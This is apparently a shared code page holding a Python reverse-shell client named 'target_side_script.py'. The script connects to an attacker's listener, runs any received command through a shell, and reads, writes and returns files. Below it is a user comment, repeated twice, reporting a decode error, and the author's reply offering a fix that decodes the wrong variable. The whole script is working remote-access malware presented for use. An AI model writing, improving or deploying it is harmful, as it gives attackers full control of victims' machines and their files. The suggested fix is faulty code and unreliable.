target_side_script.py

import socket
import subprocess
import os

BUFFER_SIZE = 1024
target_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connects with the attacker 
def target_client_connector():
    # connect to the attacker
    attacker_hostname = "localhost"
    attacker_port = 1234
    while(True):
        success = target_client.connect_ex((attacker_hostname, attacker_port))
        if(not success):
            # connection established successfully
            break

def send_data(data):
    # receive data from the attacker server
    target_client.send(bytes(data, 'utf-8'))

def receive_data():
    # receive data from the attacker server
    response = ""
    while True:
        received_data = target_client.recv(BUFFER_SIZE)
        received_data = received_data.decode('utf-8')
        response = response + str(received_data)
        if(len(received_data) < BUFFER_SIZE):
            break
    print("Received: " + response)
    # acknowledge receiving the data
    send_data("ACK")

    # do something on the data
    
    output = run_command(response)
    try:
        output = output.decode('utf-8')
    except:
        pass
    # send result back
    send_data("Result: " + output)

def navigate_directory(command):
    destination_directory_path = command[command.index("cd") + 3:]
    print(destination_directory_path)
    os.chdir(destination_directory_path)

#   commands of the form:
#   file    name_of_file   r/w/rw/a 
#   do NOT create a file if it does not previously exist
def file_handler(command):
    command_splits = command.split(" ")
    if(len(command_splits) > 3):
        return "file command has more than two arguments."
    
    elif(command_splits[0] != 'file'):
        return "incorrect command"
    
    file_name = command_splits[1]
    mode = command_splits[2]

    try:
        file_object = open(file_name, mode)
    except Exception as e:
        return str(e)
    

    if(mode == 'r'):
        data_read = file_object.read()
        file_object.close()
        return data_read
    
    elif(mode == 'w' or mode == 'a'):
        response = ""
        while True:
            received_data = target_client.recv(BUFFER_SIZE)
            received_data = received_data.decode('utf-8')
            if(received_data == "FILE_UPDATE_QUIT"):
                break
            response = response + str(received_data) + "\n"
        file_object.write(response)
        file_object.close()
        return "Data written successfully"

def run_command(command):

    command = command.rstrip()

    try:
        command.index("cd")
        navigate_directory(command)
        return "Directory changed to: " + str(os.getcwd())
    except:
        pass

    try:
        command.index("file")
        output = file_handler(command)
        return output
    except:
        pass
    
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except Exception as e:
        output = "Failed to execute command " + str(e)
    return output

def main():
    # connect to the attacker
    target_client_connector()
    while True:
        receive_data()

main()

well done body, your code doesnt work
Error:

Received: F♥
Traceback (most recent call last):
  File "C:\Users\buf\Desktop\payload.py", line 118, in <module>
    main()
  File "C:\Users\buf\Desktop\payload.py", line 116, in main
    receive_data()
  File "C:\Users\buf\Desktop\payload.py", line 28, in receive_data
    received_data = received_data.decode('utf-8')
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x89 in position 6: invalid start byte

well done body, your code doesnt work
Error:

Received: F♥
Traceback (most recent call last):
  File "C:\Users\buf\Desktop\payload.py", line 118, in <module>
    main()
  File "C:\Users\buf\Desktop\payload.py", line 116, in main
    receive_data()
  File "C:\Users\buf\Desktop\payload.py", line 28, in receive_data
    received_data = received_data.decode('utf-8')
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x89 in position 6: invalid start byte

Hi @CJSparrow,

Thanks for your comment. This error implies the response received and being decoded in line 28 is not in the Unicode charset. You may try looking at what content caused it or updating that portion to:

    received_data = target_client.recv(BUFFER_SIZE)
    try:
        received_data = output.decode('utf-8')
    except:
        pass
    response = response + str(received_data)

or other checks regarding the charset of the content received.